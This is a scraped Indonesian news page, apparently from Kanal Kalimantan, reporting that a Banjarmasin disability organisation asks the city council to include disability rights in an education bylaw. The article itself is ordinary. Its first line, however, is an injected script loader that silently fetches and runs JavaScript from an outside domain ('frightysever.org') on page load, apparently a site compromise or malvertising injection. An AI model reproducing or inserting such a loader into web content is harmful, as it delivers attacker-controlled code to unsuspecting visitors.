(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kanal

Disabilitas Tuntut Diakomodir dalam Raperda Pendidikan


BANJARMASIN, Penyusunan Raperda (Rancangan Peraturan Daerah) tentang Pendidikan di Kota Banjarmasin mendapat perhatian khusus DPC Penyandang Disabilitas Indonesia (PPDI) Banjarmasin. Mereka berharap, sejumlah aturan kebijakan juga memperhatikan hak para penyandang disabilitas.

Didampingi Kasi Rehabilitasi Sosial, Penyandang Disabiltas dan Lanjut Usia, Muhransyah  SE, mereka beraudiensi ke Komisi IV DPRD Kota Banjarmasin. Mereka ditemui Ketua Komis IVi, Sri Nurnaningsih, Selasa (3/10).

Pada kesempatan itu,  mereka menuntut hak-hak penyandang disabilitas dimuat dalam penyusunan Perda tentang pendidikan.  Relawan DPC PPDI Banjarmasin, Shintiawaty mengungkapkan, DPRD Banjarmasin sebagai lembaga legislatif harus mendengar keluh-kesah masyarakat. Ia menilai harus ada payung hukum untuk penyandang disabilitas agar mampu terakomodir hak-haknya. “Sebaiknya harus dimuat hak penyandang disabilitas ini kedalam Raperda Pendidikan, ” ujarnya.

Shintiawaty berdalih, bukan hanya sektor pendidikan yang harus ada Perda untuk disabilitas,  akan tetapi secara keseluruhan harus dibuat peraturan ini. ” Karena minat dan bakat penyadang disabilitas tidak diakui, harusnya seluruh sthackholder berperan aktif dalam penyamarataan hak-hak penyandang disabilitas, ” bebernya.

Sementara Ketua Komisi IV DPRD Kota Banjarmasin, Sri Nurnaningsih mengungkapkan bahwa permasalahan penyandang disabilitas di Kota Banjarmasin memang dinilai cukup kompleks.  “Kota Banjarmasin mendapat gelar sebagai kota ramah, akan tetapi semua masih belum memenuhi dengan gelar tersebut, ” ujarnya.

Ia menilai kota ini sudah ketinggalan dengan kota di luar Jawa sudah mempunyai payung hukum untuk penyandang disabilitas. “Maka dari itu, kami akan mengusahakan secepatnya membuat Raperda tentang penyelenggaraan pendidikan serta akan dimuat hak-hak penyandang disabilitas,” tutupnya.***


Desy Arfianty

Recent Posts

2026 Kemendikdasmen Revitalisasi 11.744 Satuan Pendidikan, Kalsel Kebagian Rp232,9 M di 2025

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan Dasar dan Menengah (Kemendikdasmen) tegaskan komitmen meningkatkan kualitas sumber daya… Read More

10 jam ago

Musrenbang Kecamatan Selat Digelar, Ini Kata Wakil Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More

23 jam ago

Resmikan 166 Sekolah Rakyat, Prabowo Target 500 Sekolah Rakyat di 2029

KANALKALIMANTAN.COM, BANJARBARU - Presiden Republik Indonesia Prabowo Subianto didampingi sejumlah Menteri Kabinet Merah Putih dan… Read More

1 hari ago

Prabowo Janjikan Kampus Kedokteran Gratis

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More

1 hari ago

Tiba di Banjarbaru, Presiden Prabowo Resmikan 166 Sekolah Rakyat

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More

1 hari ago

Peluncuran Budaya Sekolah Aman dan Nyaman di Banjarbaru, Ini Kata Mendikdasmen Abdul Mu’ti

KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More

1 hari ago

This website uses cookies.